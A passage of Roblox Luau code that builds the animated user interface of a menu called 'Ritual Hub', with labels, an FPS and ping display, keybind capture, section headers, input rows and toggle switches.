TL.TextXAlignment=Enum.TextXAlignment.Left; TL.Parent=HF; TL.ZIndex=3
local PrivateTL=Instance.new("TextLabel")
PrivateTL.Position=UDim2.new(0,94,0,13); PrivateTL.Size=UDim2.new(0,48,0,27); PrivateTL.BackgroundTransparency=1
PrivateTL.Text="HUB"; PrivateTL.TextColor3=Color3.fromRGB(188,222,255); PrivateTL.TextSize=18; PrivateTL.Font=Enum.Font.GothamBold
PrivateTL.TextXAlignment=Enum.TextXAlignment.Left; PrivateTL.TextStrokeColor3=Color3.fromRGB(91,95,106); PrivateTL.TextStrokeTransparency=.58; PrivateTL.Parent=HF; PrivateTL.ZIndex=3
local privateGrad=Instance.new("UIGradient",PrivateTL)
privateGrad.Color=ColorSequence.new({ColorSequenceKeypoint.new(0,Color3.fromRGB(35,94,165)),ColorSequenceKeypoint.new(.42,Color3.fromRGB(105,186,255)),ColorSequenceKeypoint.new(.58,Color3.fromRGB(245,250,255)),ColorSequenceKeypoint.new(1,Color3.fromRGB(74,139,204))})
privateGrad.Offset=Vector2.new(-1,0)
task.spawn(function()
while PrivateTL and PrivateTL.Parent do
privateGrad.Offset=Vector2.new(-1,0)
TweenService:Create(privateGrad,TweenInfo.new(1.15,Enum.EasingStyle.Quint,Enum.EasingDirection.InOut),{Offset=Vector2.new(1,0)}):Play()
task.wait(2.35)
end
end)
local ML=Instance.new("TextLabel")
ML.Position=UDim2.new(0,28,0,42); ML.Size=UDim2.new(0,126,0,14); ML.BackgroundTransparency=1
ML.Text="discord.gg/ritualhub"; ML.TextColor3=C.textDim; ML.TextSize=9; ML.Font=Enum.Font.GothamMedium
ML.TextXAlignment=Enum.TextXAlignment.Left; ML.Parent=HF; ML.ZIndex=3
local lavaGradML = Instance.new("UIGradient", ML)
lavaGradML.Color=_accentGrad(0)
lavaGradML.Transparency=NumberSequence.new({NumberSequenceKeypoint.new(0,0.1,0),NumberSequenceKeypoint.new(0.5,0,0),NumberSequenceKeypoint.new(1,0.1,0)})
lavaGradML.Rotation=0
task.spawn(function()
local t=0
while ML and ML.Parent do
t=t+0.03
lavaGradML.Offset=Vector2.new(math.sin(t*0.8)*0.3 + math.cos(t*0.5)*0.2, math.sin(t*0.6)*0.1)
lavaGradML.Rotation=math.sin(t*0.4)*15
lavaGradML.Color=_accentGrad(t)
task.wait(0.03)
end
end)
local hFpsLbl=Instance.new("TextLabel")
hFpsLbl.Size=UDim2.new(0,175,0,13); hFpsLbl.Position=UDim2.new(0,14,0,48)
hFpsLbl.BackgroundTransparency=1; hFpsLbl.Text=""; hFpsLbl.Visible=false
hFpsLbl.TextColor3=Color3.fromRGB(160,160,160); hFpsLbl.Font=Enum.Font.GothamBold
hFpsLbl.TextSize=9; hFpsLbl.TextXAlignment=Enum.TextXAlignment.Left
hFpsLbl.ZIndex=3; hFpsLbl.Parent=HF
do
local RING_SZ=20; local ring={}; for i=1,RING_SZ do ring[i]=1/60 end
local ridx=1; local rsum=RING_SZ/60; local cpng=0
task.spawn(function()
while hFpsLbl and hFpsLbl.Parent do
pcall(function() cpng=math.floor(Players.LocalPlayer:GetNetworkPing()*1000) end)
task.wait(0.5)
end
end)
RunService.RenderStepped:Connect(function(dt)
rsum=rsum-ring[ridx]+dt; ring[ridx]=dt; ridx=ridx%RING_SZ+1
local fps=math.floor(1/math.max(rsum/RING_SZ,0.001))
_perfFps=fps; _perfPing=cpng
local fc; if fps>=55 then fc=Color3.fromRGB(140,200,80) elseif fps>=30 then fc=Color3.fromRGB(220,200,50) else fc=Color3.fromRGB(210,90,60) end
local pc; if cpng<80 then pc=Color3.fromRGB(140,200,80) elseif cpng<150 then pc=Color3.fromRGB(220,200,50) else pc=Color3.fromRGB(210,90,60) end
if hFpsLbl and hFpsLbl.Parent then
hFpsLbl.Text="FPS: "..tostring(fps).." | PING: "..tostring(cpng).."ms"
local worstR=math.min(fc.R,pc.R); local worstG=math.min(fc.G,pc.G); local worstB=math.min(fc.B,pc.B)
hFpsLbl.TextColor3=Color3.fromRGB(math.max(worstR*255,0),math.max(worstG*255,0),math.max(worstB*255,0))
end
end)
end
local CloseBtn=Instance.new("TextButton")
CloseBtn.Size=UDim2.new(0,32,0,32); CloseBtn.Position=UDim2.new(1,-44,0,6)
CloseBtn.BackgroundColor3=C.bgDark; CloseBtn.BackgroundTransparency=1; CloseBtn.BorderSizePixel=0
CloseBtn.Text="—"; CloseBtn.TextColor3=C.textMuted; CloseBtn.Font=Enum.Font.GothamBlack; CloseBtn.TextSize=18
CloseBtn.ZIndex=5; CloseBtn.Parent=HF
guiCorner(CloseBtn,7); local closeBtnStroke=guiStroke(CloseBtn,Color3.fromRGB(90,94,110),1);closeBtnStroke.Transparency=.72
CloseBtn.MouseEnter:Connect(function()
tw(CloseBtn,{TextColor3=Color3.fromRGB(255,110,120),BackgroundTransparency=1})
tw(closeBtnStroke,{Transparency=.38})
end)
CloseBtn.MouseLeave:Connect(function()
tw(CloseBtn,{TextColor3=C.textMuted,BackgroundTransparency=1})
tw(closeBtnStroke,{Transparency=.72})
end)
local MiniBtn=Instance.new("TextButton")
MiniBtn.Size=UDim2.new(0,120,0,30); MiniBtn.Position=UDim2.new(0,20,0,100)
MiniBtn.BackgroundColor3=C.bgDark; MiniBtn.BackgroundTransparency=1; MiniBtn.BorderSizePixel=0
MiniBtn.RichText=true; MiniBtn.Text='RITUAL HUB'; MiniBtn.TextColor3=C.text; MiniBtn.Font=Enum.Font.GothamBold; MiniBtn.TextSize=11
MiniBtn.ZIndex=20; MiniBtn.Visible=false; MiniBtn.Parent=GuiRefs.hub
guiCorner(MiniBtn,8); local miniBtnStroke=guiStroke(MiniBtn,Color3.fromRGB(90,94,110),1.2);miniBtnStroke.Transparency=.72
do local mp=_GACC.getUiPos and _GACC.getUiPos("mini"); if mp then MiniBtn.Position=mp end end
makeDraggable_cyber(MiniBtn, MiniBtn, "mini")
MiniBtn.MouseEnter:Connect(function()
tw(MiniBtn,{BackgroundTransparency=1})
tw(miniBtnStroke,{Transparency=.38})
end)
MiniBtn.MouseLeave:Connect(function()
tw(MiniBtn,{BackgroundTransparency=1})
tw(miniBtnStroke,{Transparency=.72})
end)
local function showGui()
local home=(_GACC.getUiPos and _GACC.getUiPos("menu")) or UDim2.new(0,20,0,80)
MiniBtn.Visible=false; Outer.Visible=true
Outer.Position=UDim2.new(home.X.Scale,home.X.Offset-50,home.Y.Scale,home.Y.Offset)
TweenService:Create(Outer,TweenInfo.new(0.38,Enum.EasingStyle.Quint,Enum.EasingDirection.Out),{Position=home}):Play()
end
local function hideGui()
local home=Outer.Position
if _GACC.saveUiPos then _GACC.saveUiPos("menu",Outer) end
TweenService:Create(Outer,TweenInfo.new(0.28,Enum.EasingStyle.Quint,Enum.EasingDirection.In),{Position=UDim2.new(0,-350,home.Y.Scale,home.Y.Offset)}):Play()
task.delay(0.3,function() Outer.Visible=false; MiniBtn.Visible=true end)
end
CloseBtn.MouseButton1Click:Connect(hideGui)
MiniBtn.MouseButton1Click:Connect(showGui)
end
do local HSep=Instance.new("Frame")
HSep.Position=UDim2.new(0,0,0,74); HSep.Size=UDim2.new(1,0,0,1); HSep.BorderSizePixel=0
HSep.BackgroundColor3=Color3.fromRGB(70,76,94); HSep.BackgroundTransparency=.78
HSep.Parent=Inner; HSep.ZIndex=4
local hSepGrad=Instance.new("UIGradient",HSep)
hSepGrad.Transparency=NumberSequence.new({
NumberSequenceKeypoint.new(0, 1,0),
NumberSequenceKeypoint.new(0.10,0,0),
NumberSequenceKeypoint.new(0.90,0,0),
NumberSequenceKeypoint.new(1, 1,0),
})
end
local CF=Instance.new("ScrollingFrame")
CF.Name="ContentFrame"; CF.Size=UDim2.new(1,-20,1,-131); CF.Position=UDim2.new(0,10,0,122)
CF.BackgroundTransparency=1; CF.BorderSizePixel=0; CF.ScrollBarThickness=0; CF.ScrollBarImageColor3=C.blue
table.insert(_themeScrollbars,CF)
CF.CanvasSize=UDim2.new(0,0,0,0); CF.AutomaticCanvasSize=Enum.AutomaticSize.Y
CF.ScrollingDirection=Enum.ScrollingDirection.Y; CF.ScrollingEnabled=true; CF.Active=true
CF.ElasticBehavior=Enum.ElasticBehavior.Never; CF.Active=true; CF.Parent=Inner; GuiRefs.contentFrame=CF
local tabTransitionOverlay=Instance.new("Frame",Inner)
tabTransitionOverlay.Name="TabTransitionOverlay"
tabTransitionOverlay.Position=CF.Position; tabTransitionOverlay.Size=CF.Size
tabTransitionOverlay.BackgroundColor3=_ACC.accent; tabTransitionOverlay.BackgroundTransparency=1
tabTransitionOverlay.BorderSizePixel=0; tabTransitionOverlay.ZIndex=50
tabTransitionOverlay.Visible=false; tabTransitionOverlay.Active=false
GuiRefs.tabTransitionOverlay=tabTransitionOverlay
local tabTransitionScale=Instance.new("UIScale",tabTransitionOverlay)
tabTransitionScale.Scale=1
GuiRefs.tabTransitionScale=tabTransitionScale
local scrollTrack=Instance.new("Frame",Inner)
scrollTrack.Size=UDim2.new(0,2,1,-139); scrollTrack.Position=UDim2.new(1,-5,0,126)
scrollTrack.BackgroundColor3=Color3.fromRGB(28,29,38); scrollTrack.BackgroundTransparency=.74
scrollTrack.BorderSizePixel=0; scrollTrack.ZIndex=8; guiCorner(scrollTrack,2)
local scrollFill=Instance.new("Frame",scrollTrack)
scrollFill.Size=UDim2.new(1,0,0.15,0); scrollFill.BackgroundColor3=_ACC.accent
scrollFill.BackgroundTransparency=0.1; scrollFill.BorderSizePixel=0; scrollFill.ZIndex=9; guiCorner(scrollFill,2)
local function updateScrollRail()
local total=CF.AbsoluteCanvasSize.Y
local visible=CF.AbsoluteWindowSize.Y
local ratio=math.clamp(visible/math.max(total,1),0.08,1)
local progress=math.clamp(CF.CanvasPosition.Y/math.max(total-visible,1),0,1)
scrollFill.Size=UDim2.new(1,0,ratio,0)
scrollFill.Position=UDim2.new(0,0,progress*(1-ratio),0)
scrollTrack.Visible=total>visible+2
end
CF:GetPropertyChangedSignal("CanvasPosition"):Connect(updateScrollRail)
CF:GetPropertyChangedSignal("AbsoluteCanvasSize"):Connect(updateScrollRail)
CF:GetPropertyChangedSignal("AbsoluteWindowSize"):Connect(updateScrollRail)
table.insert(_themeExtRefs,{callback=function(thm) pcall(function() scrollFill.BackgroundColor3=thm.accent end) end})
task.defer(updateScrollRail)
do
local CLay=Instance.new("UIListLayout"); CLay.SortOrder=Enum.SortOrder.LayoutOrder; CLay.Padding=UDim.new(0,6); CLay.Parent=CF
local CPad=Instance.new("UIPadding"); CPad.PaddingLeft=UDim.new(0,0); CPad.PaddingRight=UDim.new(0,0)
CPad.PaddingTop=UDim.new(0,10); CPad.PaddingBottom=UDim.new(0,34); CPad.Parent=CF
end
do
local vDiv=Instance.new("Frame",Inner)
vDiv.Name="SidebarDiv"
vDiv.Size=UDim2.new(0,1,1,-89); vDiv.Position=UDim2.new(0,119,0,89)
vDiv.BackgroundColor3=Color3.fromRGB(65,69,86); vDiv.BackgroundTransparency=.80
vDiv.BorderSizePixel=0; vDiv.ZIndex=3; vDiv.Visible=false
end
local TabRail=Instance.new("Frame",Inner)
TabRail.Name="TabRail"
TabRail.Size=UDim2.new(0,119,1,-89); TabRail.Position=UDim2.new(0,0,0,89)
TabRail.BackgroundColor3=Color3.fromRGB(4,4,8); TabRail.BackgroundTransparency=.72
TabRail.BorderSizePixel=0; TabRail.ZIndex=3; TabRail.ClipsDescendants=true; TabRail.Visible=false
do local railG=Instance.new("UIGradient",TabRail)
railG.Color=ColorSequence.new({ColorSequenceKeypoint.new(0,Color3.fromRGB(12,12,18)),ColorSequenceKeypoint.new(1,Color3.fromRGB(3,3,6))})
railG.Rotation=90 end
do
local rLay=Instance.new("UIListLayout",TabRail)
rLay.FillDirection=Enum.FillDirection.Vertical
rLay.SortOrder=Enum.SortOrder.LayoutOrder
rLay.HorizontalAlignment=Enum.HorizontalAlignment.Center
rLay.Padding=UDim.new(0,4)
rLay.VerticalAlignment=Enum.VerticalAlignment.Top
rLay.Padding=UDim.new(0,4)
end
local KeyListen={cb=nil,label=nil,active=false}
local KEY_ALIASES={
ButtonA="A",ButtonB="B",ButtonX="X",ButtonY="Y",ButtonR1="RB",ButtonR2="RT",ButtonL1="LB",ButtonL2="LT",
DPadUp="D↑",DPadDown="D↓",DPadLeft="D←",DPadRight="D→",ButtonStart="▶",ButtonSelect="◀",
LeftShift="LShift",RightShift="RShift",LeftControl="LCtrl",RightControl="RCtrl",LeftAlt="LAlt",RightAlt="RAlt",
LeftSuper="LSuper",RightSuper="RSuper",Return="Enter",BackSpace="Backspace",Tab="Tab",CapsLock="CapsLock",
Escape="Esc",Space="Space",PageUp="PgUp",PageDown="PgDn",End="End",Home="Home",Insert="Ins",Delete="Del",
Up="↑",Down="↓",Left="←",Right="→",F1="F1",F2="F2",F3="F3",F4="F4",F5="F5",F6="F6",F7="F7",F8="F8",
F9="F9",F10="F10",F11="F11",F12="F12",Print="PrtScn",ScrollLock="ScrLk",Pause="Pause",
Minus="-",Equals="=",LeftBracket="[",RightBracket="]",BackSlash="\\",Semicolon=";",Quote="'",
Comma=",",Period=".",Slash="/",Backquote="`"
}
local function prettyKey(kc) return KEY_ALIASES[kc.Name] or kc.Name end
local function cancelKL()
if KeyListen.label then KeyListen.label.BackgroundColor3=C.blue; KeyListen.label.BackgroundTransparency=0.5 end
KeyListen.cb=nil; KeyListen.label=nil; KeyListen.active=false
end
local function startKL(lbl,onSet)
cancelKL(); KeyListen.cb=onSet; KeyListen.label=lbl; KeyListen.active=true
lbl.Text="..."; lbl.BackgroundColor3=Color3.fromRGB(80,220,120); lbl.BackgroundTransparency=0.3
local cap=lbl; task.delay(8,function() if KeyListen.label==cap and KeyListen.active then cancelKL(); if lbl and lbl.Parent then lbl.Text=prettyKey(Keys.guiHide); lbl.BackgroundColor3=C.blue; lbl.BackgroundTransparency=0.5 end end end)
end
UIS.InputBegan:Connect(function(inp,gp)
if not KeyListen.active then return end; if gp then return end
local ut=inp.UserInputType
if ut~=Enum.UserInputType.Keyboard and ut~=Enum.UserInputType.Gamepad1 then return end
local k=inp.KeyCode
if k==Enum.KeyCode.Unknown then return end
if k==Enum.KeyCode.Escape then cancelKL(); return end
local cb=KeyListen.cb; local lb=KeyListen.label; cancelKL()
if lb and lb.Parent then lb.Text=prettyKey(k); lb.BackgroundColor3=C.blue; lb.BackgroundTransparency=0.5 end
if cb then task.spawn(cb,k) end
end)
local function addSectLbl(parent,text,order)
local w=Instance.new("Frame",parent); w.Size=UDim2.new(1,0,0,26); w.BackgroundTransparency=1; w.LayoutOrder=order
local L=Instance.new("TextLabel",w); L.Size=UDim2.new(1,0,0,22); L.BackgroundTransparency=1
L.Text=text; L.TextColor3=C.textDim; L.TextSize=12; L.Font=Enum.Font.GothamBlack; L.TextXAlignment=Enum.TextXAlignment.Left
return L
end
local function mkSection(parent,title,order)
local outer=Instance.new("Frame",parent); outer.LayoutOrder=order; outer.Size=UDim2.new(1,0,0,0); outer.AutomaticSize=Enum.AutomaticSize.Y; outer.BackgroundTransparency=1; outer.BorderSizePixel=0
local outerLay=Instance.new("UIListLayout",outer); outerLay.SortOrder=Enum.SortOrder.LayoutOrder; outerLay.Padding=UDim.new(0,3)
local hdr=Instance.new("Frame",outer); hdr.LayoutOrder=0; hdr.Size=UDim2.new(1,0,0,24); hdr.BackgroundTransparency=1; hdr.BorderSizePixel=0
local accentBar=Instance.new("Frame",hdr); accentBar.Size=UDim2.new(0,2,0,14); accentBar.Position=UDim2.new(0,2,0.5,-7)
accentBar.BackgroundColor3=_ACC.accent; accentBar.BorderSizePixel=0; guiCorner(accentBar,1)
table.insert(_themeTabInds,accentBar)
local lbl=Instance.new("TextLabel",hdr); lbl.Size=UDim2.new(1,-12,1,0); lbl.Position=UDim2.new(0,8,0,0)
lbl.BackgroundTransparency=1; lbl.Text=title; lbl.TextColor3=Color3.fromRGB(130,138,160)
lbl.TextSize=10; lbl.Font=Enum.Font.GothamBold; lbl.TextXAlignment=Enum.TextXAlignment.Left
local mark=Instance.new("TextLabel",hdr)
mark.Size=UDim2.new(0,22,1,0); mark.Position=UDim2.new(1,-24,0,0)
mark.BackgroundTransparency=1; mark.Text=""; mark.TextColor3=_ACC.accentDark; mark.Visible=false
mark.TextSize=9; mark.Font=Enum.Font.GothamBlack; mark.TextXAlignment=Enum.TextXAlignment.Right
table.insert(_themeSectRefs,{lbl=lbl,arrow=mark})
local rainTrack=Instance.new("Frame",hdr)
rainTrack.Size=UDim2.fromOffset(25,19); rainTrack.Position=UDim2.new(1,-27,.5,-10)
rainTrack.BackgroundTransparency=1; rainTrack.BorderSizePixel=0; rainTrack.ClipsDescendants=true
local miniShadow=Instance.new("Frame",rainTrack); miniShadow.Position=UDim2.fromOffset(3,6); miniShadow.Size=UDim2.fromOffset(19,7); miniShadow.BackgroundColor3=Color3.fromRGB(24,43,59); miniShadow.BackgroundTransparency=.2; miniShadow.BorderSizePixel=0; miniShadow.ZIndex=1; guiCorner(miniShadow,6)
for _,spec in ipairs({{4,4,8,8},{9,1,11,11},{15,4,7,7}}) do
local cloudPuff=Instance.new("Frame",rainTrack); cloudPuff.Position=UDim2.fromOffset(spec[1],spec[2]); cloudPuff.Size=UDim2.fromOffset(spec[3],spec[3]); cloudPuff.BackgroundColor3=Color3.fromRGB(94,127,151); cloudPuff.BackgroundTransparency=.1; cloudPuff.BorderSizePixel=0; cloudPuff.ZIndex=2; guiCorner(cloudPuff,8)
local puffGrad=Instance.new("UIGradient",cloudPuff); puffGrad.Color=ColorSequence.new({ColorSequenceKeypoint.new(0,Color3.fromRGB(154,184,207)),ColorSequenceKeypoint.new(1,Color3.fromRGB(51,78,100))}); puffGrad.Rotation=112
end
local miniCloud=Instance.new("Frame",rainTrack); miniCloud.Position=UDim2.fromOffset(3,6); miniCloud.Size=UDim2.fromOffset(20,7); miniCloud.BackgroundColor3=Color3.fromRGB(86,118,142); miniCloud.BackgroundTransparency=.08; miniCloud.BorderSizePixel=0; miniCloud.ZIndex=3; guiCorner(miniCloud,6)
local miniGrad=Instance.new("UIGradient",miniCloud); miniGrad.Color=ColorSequence.new({ColorSequenceKeypoint.new(0,Color3.fromRGB(139,171,195)),ColorSequenceKeypoint.new(1,Color3.fromRGB(45,70,91))}); miniGrad.Rotation=90
local miniShade=Instance.new("Frame",miniCloud); miniShade.Position=UDim2.new(0,3,1,-3); miniShade.Size=UDim2.new(1,-6,0,2); miniShade.BackgroundColor3=Color3.fromRGB(24,43,60); miniShade.BackgroundTransparency=.3; miniShade.BorderSizePixel=0; miniShade.ZIndex=4; guiCorner(miniShade,2)
local rainDrop=Instance.new("Frame",rainTrack)
rainDrop.Size=UDim2.fromOffset(2,7); rainDrop.Position=UDim2.fromOffset(8,9)
rainDrop.BackgroundColor3=_ACC.accent; rainDrop.BorderSizePixel=0; rainDrop.Rotation=12; guiCorner(rainDrop,3)
local rainDrop2=Instance.new("Frame",rainTrack)
rainDrop2.Size=UDim2.fromOffset(2,6); rainDrop2.Position=UDim2.fromOffset(16,11)
rainDrop2.BackgroundColor3=_ACC.accentDark; rainDrop2.BorderSizePixel=0; rainDrop2.Rotation=12; guiCorner(rainDrop2,3)
local rainSpark=Instance.new("Frame",rainTrack)
rainSpark.AnchorPoint=Vector2.new(.5,.5); rainSpark.Position=UDim2.fromOffset(12,18); rainSpark.Size=UDim2.fromOffset(7,1)
rainSpark.BackgroundColor3=_ACC.accent; rainSpark.BackgroundTransparency=1; rainSpark.BorderSizePixel=0; guiCorner(rainSpark,2)
task.spawn(function()
task.wait(((order or 0)%6)*.08)
while rainTrack and rainTrack.Parent do
rainDrop.Position=UDim2.fromOffset(8,9); rainDrop2.Position=UDim2.fromOffset(16,7); rainDrop.BackgroundTransparency=.04; rainDrop2.BackgroundTransparency=.18
TweenService:Create(rainDrop,TweenInfo.new(.5,Enum.EasingStyle.Quad,Enum.EasingDirection.In),{Position=UDim2.fromOffset(6,19),BackgroundTransparency=.5}):Play()
TweenService:Create(rainDrop2,TweenInfo.new(.62,Enum.EasingStyle.Quad,Enum.EasingDirection.In),{Position=UDim2.fromOffset(14,19),BackgroundTransparency=.55}):Play()
task.wait(.48)
rainSpark.Size=UDim2.fromOffset(2,2); rainSpark.BackgroundTransparency=.08
TweenService:Create(rainSpark,TweenInfo.new(.25,Enum.EasingStyle.Quint,Enum.EasingDirection.Out),{Size=UDim2.fromOffset(13,1),BackgroundTransparency=1}):Play()
task.wait(.72)
end
end)
table.insert(_themeExtRefs,{callback=function(thm)
pcall(function() rainDrop.BackgroundColor3=thm.accent; rainDrop2.BackgroundColor3=thm.accentDark; rainSpark.BackgroundColor3=thm.accent end)
end})
local body=Instance.new("Frame",outer); body.Name="SectBody"; body.LayoutOrder=1
body.Size=UDim2.new(1,0,0,0); body.AutomaticSize=Enum.AutomaticSize.Y; body.BackgroundTransparency=1; body.BorderSizePixel=0
local bodyLay=Instance.new("UIListLayout",body); bodyLay.SortOrder=Enum.SortOrder.LayoutOrder; bodyLay.Padding=UDim.new(0,4)
return body
end
local function addInputRow(parent,label,value,order,cb)
local Row=Instance.new("Frame",parent); Row.Size=UDim2.new(1,0,0,42); Row.BackgroundColor3=Color3.fromRGB(11,11,17)
Row.BackgroundTransparency=0.25; Row.BorderSizePixel=0; Row.LayoutOrder=order; guiCorner(Row,6)
local aBar=Instance.new("Frame",Row); aBar.Size=UDim2.new(0,3,0,22); aBar.AnchorPoint=Vector2.new(0,0.5)
aBar.Position=UDim2.new(0,0,0.5,0); aBar.BackgroundColor3=_ACC.accent; aBar.BackgroundTransparency=1
aBar.BorderSizePixel=0; guiCorner(aBar,2)
local Lb=Instance.new("TextLabel",Row); Lb.Size=UDim2.new(0.58,0,0,18); Lb.Position=UDim2.new(0,14,0,12)
Lb.BackgroundTransparency=1; Lb.Text=label; Lb.TextColor3=Color3.fromRGB(210,210,225); Lb.TextSize=12; Lb.Font=Enum.Font.GothamBold; Lb.TextXAlignment=Enum.TextXAlignment.Left
local BC=Instance.new("Frame",Row); BC.ZIndex=6; BC.Position=UDim2.new(1,-62,0.5,-12); BC.Size=UDim2.new(0,52,0,24)
BC.BackgroundColor3=C.input; BC.BackgroundTransparency=0.45; BC.BorderSizePixel=0; guiCorner(BC,8); guiStroke(BC,Color3.fromRGB(55,55,65),1)
local Box=Instance.new("TextBox",BC); Box.ZIndex=7; Box.Size=UDim2.new(1,0,1,0); Box.BackgroundTransparency=1
Box.Text=tostring(value); Box.TextColor3=C.text; Box.TextSize=11; Box.Font=Enum.Font.GothamBold; Box.ClearTextOnFocus=false
Box.FocusLost:Connect(function() local n=tonumber(Box.Text); if n and n>0 then cb(n) else Box.Text=tostring(value) end end)
Box.Focused:Connect(function() tw(BC,{BackgroundTransparency=0.2}) end)
Box.FocusLost:Connect(function() tw(BC,{BackgroundTransparency=0.45}) end)
local hov=Instance.new("TextButton",Row); hov.Size=UDim2.new(1,0,1,0); hov.BackgroundTransparency=1; hov.Text=""; hov.ZIndex=0
hov.MouseEnter:Connect(function()
tw(Row,{BackgroundTransparency=0.18,BackgroundColor3=_ACC.accentRowHover})
tw(aBar,{BackgroundTransparency=0.15})
end)
hov.MouseLeave:Connect(function()
tw(Row,{BackgroundTransparency=0.55,BackgroundColor3=Color3.fromRGB(11,11,17)})
tw(aBar,{BackgroundTransparency=1})
end)
return Row,Box
end
local function playFeatureEffect(row)
if not row or not row.Parent then return end
local flash=Instance.new("Frame",row)
flash.AnchorPoint=Vector2.new(0.5,0.5); flash.Position=UDim2.new(0.5,0,0.5,0)
flash.Size=UDim2.new(0,4,0,4); flash.BackgroundColor3=_ACC.accent
flash.BackgroundTransparency=0.68; flash.BorderSizePixel=0; flash.ZIndex=4
guiCorner(flash,8)
local flashStroke=guiStroke(flash,_ACC.accent,1); flashStroke.Transparency=0.18
TweenService:Create(flash,TweenInfo.new(0.34,Enum.EasingStyle.Quint,Enum.EasingDirection.Out),{
Size=UDim2.new(1,-4,1,-4),BackgroundTransparency=1
}):Play()
TweenService:Create(flashStroke,TweenInfo.new(0.34),{Transparency=1}):Play()
for i=1,4 do
local particle=Instance.new("Frame",row)
particle.AnchorPoint=Vector2.new(0.5,0.5); particle.Position=UDim2.new(1,-30,0.5,0)
particle.Size=UDim2.new(0,3,0,3); particle.BackgroundColor3=_ACC.accent
particle.BackgroundTransparency=0.05; particle.BorderSizePixel=0; particle.ZIndex=8
particle.Rotation=45; guiCorner(particle,1)
local angle=((i-1)/4)*math.pi*2
local dx=math.cos(angle)*(12+i*2); local dy=math.sin(angle)*(9+i)
TweenService:Create(particle,TweenInfo.new(0.38,Enum.EasingStyle.Quint,Enum.EasingDirection.Out),{
Position=UDim2.new(1,-30+dx,0.5,dy),BackgroundTransparency=1,Rotation=135,Size=UDim2.new(0,1,0,1)
}):Play()
task.delay(0.4,function() pcall(function() particle:Destroy() end) end)
end
task.delay(0.4,function() pcall(function() flash:Destroy() end) end)
end
local function addToggleRow(parent,label,enabled,order,kbKey,onToggle)
local Row=Instance.new("Frame",parent); Row.Size=UDim2.new(1,0,0,42); Row.BackgroundColor3=Color3.fromRGB(11,11,17)
Row.BackgroundTransparency=0.25; Row.BorderSizePixel=0; Row.LayoutOrder=order; guiCorner(Row,6)
local aBar=Instance.new("Frame",Row); aBar.Size=UDim2.new(0,3,0,22); aBar.AnchorPoint=Vector2.new(0,0.5)
aBar.Position=UDim2.new(0,0,0.5,0); aBar.BackgroundColor3=_ACC.accent; aBar.BackgroundTransparency=1
aBar.BorderSizePixel=0; guiCorner(aBar,2)
local Lb=Instance.new("TextLabel",Row); Lb.Size=UDim2.new(0.62,0,0,18); Lb.Position=UDim2.new(0,14,0,12)
Lb.BackgroundTransparency=1; Lb.Text=label; Lb.TextColor3=Color3.fromRGB(210,210,225); Lb.TextSize=12; Lb.Font=Enum.Font.GothamBold; Lb.TextXAlignment=Enum.TextXAlignment.Left
local OFF_TRACK=Color3.fromRGB(28,28,35); local OFF_TRACK_STROKE=Color3.fromRGB(58,58,70); local OFF_KNOB=Color3.fromRGB(72,72,86)
-- ── Ritual Hub style circle toggle ──────────────────────────────
local TI_POP=TweenInfo.new(0.18,Enum.EasingStyle.Back,Enum.EasingDirection.Out)
local Track=Instance.new("Frame",Row); Track.ZIndex=3
Track.Position=UDim2.new(1,-48,0.5,-12); Track.Size=UDim2.new(0,36,0,24)
Track.BackgroundTransparency=1; Track.BorderSizePixel=0
Instance.new("UICorner",Track).CornerRadius=UDim.new(1,0)
local Shadow=Instance.new("Frame",Track); Shadow.ZIndex=3; Shadow.AnchorPoint=Vector2.new(0.5,0.5)
Shadow.Position=UDim2.new(0.5,0,0.5,1); Shadow.Size=UDim2.new(0,16,0,16)
Shadow.BackgroundColor3=Color3.fromRGB(0,0,0); Shadow.BackgroundTransparency=0.5; Shadow.BorderSizePixel=0
Instance.new("UICorner",Shadow).CornerRadius=UDim.new(1,0)
local Knob=Instance.new("Frame",Track); Knob.ZIndex=4; Knob.AnchorPoint=Vector2.new(0.5,0.5)
Knob.Position=UDim2.new(0.5,0,0.5,0); Knob.Size=UDim2.new(0,13,0,13)
Knob.BackgroundColor3=OFF_KNOB; Knob.BorderSizePixel=0
Instance.new("UICorner",Knob).CornerRadius=UDim.new(1,0)
local KnobGrad=Instance.new("UIGradient",Knob); KnobGrad.Rotation=90
local Gloss=Instance.new("Frame",Knob); Gloss.ZIndex=5
Gloss.Position=UDim2.new(0.22,0,0.11,0); Gloss.Size=UDim2.new(0.46,0,0.24,0)
Gloss.BackgroundColor3=Color3.fromRGB(255,255,255); Gloss.BackgroundTransparency=0.62; Gloss.BorderSizePixel=0
Instance.new("UICorner",Gloss).CornerRadius=UDim.new(1,0)
local GlossGrad=Instance.new("UIGradient",Gloss); GlossGrad.Rotation=90
GlossGrad.Transparency=NumberSequence.new({
NumberSequenceKeypoint.new(0,0.35),NumberSequenceKeypoint.new(0.6,0.78),NumberSequenceKeypoint.new(1,1)
})
local TrkStroke=nil
local st=enabled
local function circleVisual(on)
if on then
Knob.BackgroundColor3=_ACC.accent
KnobGrad.Color=ColorSequence.new({
ColorSequenceKeypoint.new(0,Color3.fromRGB(200,230,255)),
ColorSequenceKeypoint.new(0.46,_ACC.accent),
ColorSequenceKeypoint.new(1,_ACC.accentDark),
})
Gloss.BackgroundTransparency=0.5
else
Knob.BackgroundColor3=OFF_KNOB
KnobGrad.Color=ColorSequence.new({
ColorSequenceKeypoint.new(0,Color3.fromRGB(235,232,248)),
ColorSequenceKeypoint.new(0.5,Color3.fromRGB(128,124,150)),
ColorSequenceKeypoint.new(1,Color3.fromRGB(48,48,58)),
})
Gloss.BackgroundTransparency=0.62
end
end
circleVisual(st)
table.insert(_themeToggleRefs,{track=Track,trkStroke=TrkStroke,knob=Knob,offTrack=OFF_TRACK,offKnob=OFF_KNOB,offStroke=OFF_TRACK_STROKE,getSt=function() return st end})
table.insert(_themeExtRefs,{callback=function() pcall(function() circleVisual(st) end) end})
local function setV(on)
st=on
if on then playFeatureEffect(Row) end
circleVisual(on)
Knob.Size=UDim2.new(0,10,0,10)
tw(Knob,{Size=UDim2.new(0,13,0,13)},TI_POP)
end
local Btn=Instance.new("TextButton",Row); Btn.Size=UDim2.new(0,36,0,24); Btn.Position=UDim2.new(1,-48,0.5,-12); Btn.BackgroundTransparency=1; Btn.Text=""; Btn.ZIndex=5
Btn.MouseButton1Click:Connect(function() st=not st; setV(st); if onToggle then onToggle(st) end end)
local hov=Instance.new("TextButton",Row); hov.Size=UDim2.new(1,0,1,0); hov.BackgroundTransparency=1; hov.Text=""; hov.ZIndex=0
hov.MouseEnter:Connect(function()
tw(Row,{BackgroundTransparency=0.25,BackgroundColor3=_ACC.accentRowHover})
tw(aBar,{BackgroundTransparency=0.15})
end)
